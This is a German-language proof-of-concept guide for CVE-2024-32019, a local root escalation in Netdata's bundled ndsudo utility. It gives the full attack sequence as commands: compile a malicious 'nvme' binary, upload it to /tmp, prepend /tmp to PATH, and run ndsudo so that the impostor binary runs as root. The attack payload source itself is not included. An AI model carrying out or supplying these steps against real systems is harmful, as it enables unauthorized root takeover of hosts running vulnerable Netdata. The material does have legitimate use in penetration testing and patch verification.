
POC für die netdata ndsudo Sicherheitslücke - CVE-2024-32019
ndsudo (Netdata Lokaler Exploit)Dieser POC wird verwendet, um eine verwundbare ndsudo-Dienstprogramm auszunutzen, das mit Netdata gebündelt ist, um lokale Privilegien auf root zu eskalieren. Der Exploit funktioniert, indem eine schädliche Binärdatei in den PATH des Benutzers eingefügt wird, die einen vertrauenswürdigen Befehl (nvme) imitiert und von ndsudo mit root-Privilegien ausgeführt wird.
Sie haben lokalen Shell-Zugriff auf dem Zielsystem.
Sie können den folgenden Befehl ausführen, aber er schlägt mit einem "not found" oder ähnlichen Fehler fehl:
./ndsudo nvme-list
Auf Ihrem Angreifer-Rechner (oder dem verwundbaren System, falls es einen Compiler hat) kompilieren Sie die Binärdatei (z. B. aus der Datei poc.c im Repository):
gcc poc.c -o nvme
Diese Binärdatei sollte so erstellt werden, dass sie eine root-Shell startet oder beliebige Befehle mit root-Privilegien ausführt.
Verschieben oder laden Sie die kompilierte nvme-Binärdatei in ein von Ihrem Benutzer beschreibbares Verzeichnis, z. B. /tmp:
scp nvme user@target:/tmp/
# or use any file upload method you have
Stellen Sie auf dem Zielsystem sicher, dass die Binärdatei ausführbar ist und fügen Sie ihr Verzeichnis Ihrem PATH voran:
chmod +x /tmp/nvme
export PATH=/tmp:$PATH
Dadurch wird sichergestellt, dass ndsudo Ihre schädliche nvme anstelle der legitimen auflöst und ausführt.
ndsudo, um Ihre Nutzlast auszuführenFühren Sie den verwundbaren Befehl aus, um ndsudo auszulösen:
./ndsudo nvme-list